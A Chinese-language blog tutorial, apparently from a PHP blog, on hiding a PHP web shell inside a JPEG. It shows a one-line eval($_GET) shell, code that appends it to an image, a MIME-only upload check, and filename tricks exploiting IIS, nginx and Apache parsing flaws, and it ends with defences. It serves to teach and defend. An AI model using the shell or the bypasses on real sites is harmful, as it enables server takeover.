什麼是木馬
木馬病毒是指隐藏在正常程式中的一段具有特殊功能的惡意代碼,是具備破壞和删除檔案、發送密碼、記錄鍵盤和攻擊Dos等特殊功能的後門程式。
那,php的木馬是長什麼樣的呢?我們來看下面這段代碼:<?php
@eval($_GET['tioncico']);
這句話的意思是什麼呢?隻要在網頁上擷取到了$_GET['tioncico']的資料,就當成php代碼直接執行,例如:
這個網頁内容,我們忽略問号前面的資料,可看到tioncico=echo tioncico;%20是urlencode編碼轉換
圖檔木馬原理
在本文中,講到的是圖檔木馬上傳,那麼該怎麼制作圖檔木馬呢?
我們首先要講到,php上傳檔案的原理:
1:使用者送出post請求,上傳檔案
2:伺服器接收請求,将檔案存儲到臨時檔案
3:php解析該臨時檔案,獲得檔案類型,檔案大小
4:php通過判斷檔案類型,進行移動臨時檔案到上傳目錄
5:php給前端傳回上傳成功,并傳回位址
在第3步,php是如果解析臨時檔案的呢?
其實,檔案對自身檔案内容,有着自己的檔案頭辨別,我們隻需要檔案轉為16進制,然後看各個檔案類型對檔案頭的定義,就可以知道檔案的類型了,例如,jpeg圖檔格式的檔案頭(2byte)辨別為:0xff, 0xd8,結尾(2byte)辨別為:0xff,0xd9
通過讀取檔案的位元組并轉為16進制,即可知道該檔案類型是什麼:function fileToHex($file){
if(file_exists($file)){
$data = file_get_contents($file);
return bin2hex($data);
}
return '';
}
echo fileToHex('F:\www\test\a\1.jpg.txt');
這個函數為簡單實作,複雜需求需要自行檢視:
輸出:
很明顯,這個圖檔格式為jpeg
php在底層中已經實作了對圖檔格式的識别,是以無需我們額外實作,關于檔案類型頭部的定義,可檢視:
那麼問題來了,如果我沒改變檔案頭,然後在最後新增一串php代碼,php是怎麼識别類型的呢?
我們可以嘗試下,在圖檔檔案後面,額外寫入一個php檔案:$path = 'F:\www\test\a\1.jpg.txt';
file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一個木馬檔案
直接通過txt形式打開,可看到新增的資料
将1.jpg圖檔直接打開,可發現檔案沒有損壞:
通過上傳檔案,發現php識别的也是jpeg:
'
php解析木馬原理
大家看以下代碼,忽略php實作的東西,隻看結構:html>
Document上傳檔案:
if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
//擷取數組裡面的值
$name=$upfile["name"];//上傳檔案的檔案名
$type=$upfile["type"];//上傳檔案的類型
$size=$upfile["size"];//上傳檔案的大小
$tmp_name=$upfile["tmp_name"];//上傳檔案的臨時存放路徑
//判斷是否為圖檔
switch($type){
case 'image/pjpeg':$okType=true;
break;
case 'image/jpeg':$okType=true;
break;
case 'image/gif':$okType=true;
break;
case 'image/png':$okType=true;
break;
}
if($okType){
$error=$upfile["error"];
echo "=======================
";
echo "上傳檔案名稱是:".$name."
";
echo "上傳檔案類型是:".$type."
";
echo "上傳檔案大小是:".$size."
";
echo "上傳後系統傳回的值是:".$error."
";
echo "上傳檔案的臨時存放路徑是:".$tmp_name."
";
echo "開始移動上傳檔案
";
//判斷up檔案夾是否存在,不存在則建立
$dir='up/';
if(!is_dir($dir)){
mkdir($dir);
}
//把上傳的臨時檔案移動到up目錄下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo "=======================
";
echo "上傳資訊:
";
if($error==0){
echo "檔案上傳成功啦!";
echo "
圖檔預覽
";
echo "
echo " alt=\"圖檔預覽:\r檔案名:".$destination."\r上傳時間:\">";
}else if($error==1){
echo "超過了檔案的大小,在php.ini檔案中設定";
}else if($error==2){
echo "超過了檔案的大小MAX_FILE_SIZE選項中設定";
}else if($error==3){
echo "檔案隻有部分被上傳";
}else if($error==4){
echo "檔案沒有被上傳";
}else{
echo "上傳檔案大小為0";
}
}else{
echo "請上傳jpg,gif,png等格式的圖檔";
}
}
?>
這代碼很平常,也就是php+html标簽的混合型代碼,php會解析<?php ?>标簽,進行擷取并執行php标簽内的代碼
現在将這份代碼換成圖檔+php标簽:
改字尾為php看看能不能執行成功:
很明顯,正常運作了,php将<?php标簽外的字元當成了正常字元輸出 ,隻運作了php的部分.
運作圖檔檔案
到現在,我們已經學會了如何給圖檔增加木馬檔案,并了解了圖檔木馬的實作原理,那麼,現在該如何在别人的網站執行這個木馬呢?給圖檔改字尾?很明顯我們辦不到,那該怎麼辦呢?
我們需要借助漏洞才能執行(這就意味着木馬并不是萬能的,可以入侵别人的全部網站)
漏洞方法如下
include 漏洞
隻要對方的php代碼中存在 include xxxx ,這個xxxx可以傳入外部參數的時候,
例如有些開發者自己實作的架構中,include controller 這個controller 有做全路徑引入的時候
web伺服器的pathinfo漏洞
IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpgIIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.phpNginx <8.03 空位元組代碼執行漏洞 1.jpg%00.phpApache 解析漏洞 .php.一個無效字尾還有就是 Windows 下的各種截斷了,因為 win 環境下不允許一些符号命名檔案,是以可以造成截斷檔案名的效果,
例如本人使用phpstudy nginx/1.11.5+php7.2.10成功複現:
講解一下,我網站中存在a/test.jpg,通過通路test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php排程執行成功,通過get傳的tioncico=echo%20%27仙士可牛逼!%27; 參數,在php中解析成功,輸出了 仙士可牛逼!
其他漏洞可以自測哦
漏洞防範
1:更新web伺服器版本,盡量使用新版本
2:圖檔最好是存入oss,或者圖檔上傳目錄注意不要給執行權限(web伺服器執行圖檔目錄的權限)
3:圖檔可以的話,可以進行二次處理,把木馬檔案過濾掉
4:永遠不要相信使用者的輸入
其他
剛剛的eval函數木馬檔案,是不是覺得很簡單,很容易識别?
并且,eval函數,可能還是被php禁用的危險函數.那麼我們可以用什麼呢?
另外提一嘴,既然是可以執行php檔案了,完全可以在圖檔檔案中,include 另一個圖檔檔案,等等
本文為仙士可原創文章,轉載無需和我聯系,但請注明來自仙士可部落格www.php20.cn